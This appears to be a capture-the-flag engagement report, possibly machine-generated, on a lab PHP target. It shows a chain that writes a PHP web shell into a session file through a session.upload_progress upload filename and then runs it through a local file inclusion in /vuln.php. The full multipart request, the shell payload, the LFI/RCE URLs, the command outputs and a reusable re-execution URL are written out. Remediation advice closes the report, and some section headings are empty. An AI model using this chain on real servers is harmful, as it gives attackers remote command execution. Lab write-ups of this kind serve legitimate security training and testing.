Engagement
ctf-php2shell-chainA
Mode
CTF
Target
host.docker.internal:18080
Date
2026-10-21 UTC
Outcome
RCE CONFIRMED
CTF

PHP2Shell Chain A → RCE CONFIRMED

CVE-2026-109618 / CVE-2026-109619 — Session Deserialization
PHP code injection into session file via session.upload_progress + execution through LFI. RCE confirmed as www-data (uid=33) on PHP 8.2.34 + nginx + PHP-FPM.

1. Executive Summary

Successfully reproduced PHP2Shell Chain A (CVE-2026-109618 / CVE-2026-109619): PHP code injection into session file via session.upload_progress (multipart upload filename stored raw without validation) followed by execution through LFI in /vuln.php.

PoC — Success Criteria:
GET /vuln.php?page=/tmp/sessions/sess_ctfchainA00000000000000000000000&c=id
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE_OK

Demonstrated arbitrary command execution in php-fpm process as www-data user (uid=33).

2. Compromised Environment

Item Value Source
Web server nginx/1.31.7 Server header
PHP 8.2.34 (vulnerable; fixed in 8.2.35) X-Powered-By + /index.php
SAPI fpm-fcgi /index.php
Operating System Debian GNU/Linux 13 (trixie) RCE: head -3 /etc/os-release
Kernel Linux 7.0.12-linuxkit aarch64 RCE: uname -a
Container hostname 89e1a0c2bd7d LFI: page=/etc/hostname
Process user www-data (uid=33, gid=33) RCE: id / whoami

3. Attack Chain — Step by Step

Step 1 — Recon and Session Fixation

Step 2 — Trigger upload_progress Handler + Injection

Request (POST multipart to /index.php):

POST /index.php HTTP/1.1
Cookie: PHPSESSID=ctfchainA00000000000000000000000
Content-Type: multipart/form-data; boundary=----CTFCHAINBOUNDARY7d4a6e1c

------CTFCHAINBOUNDARY7d4a6e1c
Content-Disposition: form-data; name="PHPSESSID"

ctfchainA00000000000000000000000
------CTFCHAINBOUNDARY7d4a6e1c
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

x
------CTFCHAINBOUNDARY7d4a6e1c
Content-Disposition: form-data; name="f"; filename="<?php system($_GET['c']); echo 'RCE_OK'; ?>"
Content-Type: application/octet-stream

A
------CTFCHAINBOUNDARY7d4a6e1c--

Response: HTTP/1.1 200 OK — normal index.php body.

Handler wrote raw filename (with PHP code) to /tmp/sessions/sess_<SID>. With session.upload_progress.cleanup=Off, file persisted after request.

Step 3 — Injection Verification + Execution via LFI

Request:

GET /vuln.php?page=/tmp/sessions/sess_ctfchainA00000000000000000000000

Response (truncated):

upload_progress_x|a:5:{s:10:"start_time";i:1792614809;...s:4:"name";s:43:"<?php system($_GET['c']); echo 'RCE_OK'; ?>"...
Warning: Undefined array key "c" in /tmp/sessions/sess_ctfchainA00000000000000000000000 on line 1
Fatal error: Uncaught ValueError: system(): Argument #1 ($command) cannot be empty
  #0 /tmp/sessions/sess_ctfchainA00000000000000000000000(1): system('')
  #1 /var/www/html/vuln.php(3): include('/tmp/sessions/s...')

Stack trace proves complete chain: filename code executed inside LFI include.

Step 4 — RCE: Arbitrary Command Execution

Request:

GET /vuln.php?page=/tmp/sessions/sess_ctfchainA00000000000000000000000&c=id

Response:

...s:4:"name";s:43:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE_OK";s:8:"tmp_name";s:14:"/tmp/phpTKnYXy";...

4. RCE Evidence — Commands Executed

Command (c=) Output Obtained
id uid=33(www-data) gid=33(www-data) groups=33(www-data) + RCE_OK
whoami www-data
uname -a Linux 89e1a0c2bd7d 7.0.12-linuxkit #1 SMP PREEMPT Thu Aug 27 14:02:21 UTC 2026 aarch64 GNU/Linux
head -3 /etc/os-release PRETTY_NAME="Debian GNU/Linux 13 (trixie)"

5. Vulnerability — Technical Details

6. Remediation Recommendations

  1. Upgrade PHP to 8.2.35+ (official patch fixing CVE-2026-109618/109619)
  2. session.upload_progress.enabled=Off if application doesn't use upload progress tracking
  3. session.upload_progress.cleanup=On (safe default behavior, prevents persistence)
  4. session.use_strict_mode=1 and session.use_only_cookies=1 (prevents session fixation)
  5. Fix LFI in /vuln.php:
    • Implement allowlist for includable files
    • Reject dangerous wrappers (php://, phar://, data://, ...)
    • Validate and normalize paths with realpath() + mandatory prefix
    • Disable display_errors in production

7. Engagement Store

engagement_id: ctf-php2shell-chainA

Findings registered: 7 (all confirmed with reproducible evidence)

  1. Engagement start
  2. LFI confirmed in /vuln.php (MITRE ATT&CK: T1190 — Exploit Public-Facing Application)
  3. save_path=/tmp/sessions + session fixation (T1078.004 — Valid Accounts: Cloud Accounts)
  4. PHP 8.2.34 + upload_progress=1 (T1592.004 — Gather Victim Host Information: Client Configurations)
  5. PHP code injection into session file (T1505.003 — Server Software Component: Web Shell)
  6. RCE confirmed — id as www-data uid=33 (T1059.004 — Command and Scripting Interpreter: Unix Shell)
  7. RCE reinforced + engagement closure

Scope respected: All requests exclusively targeted http://host.docker.internal:18080.

Vector persistence:
Poisoned SID ctfchainA00000000000000000000000 remains active in lab. RCE can be re-executed with:
GET /vuln.php?page=/tmp/sessions/sess_ctfchainA00000000000000000000000&c=<comando>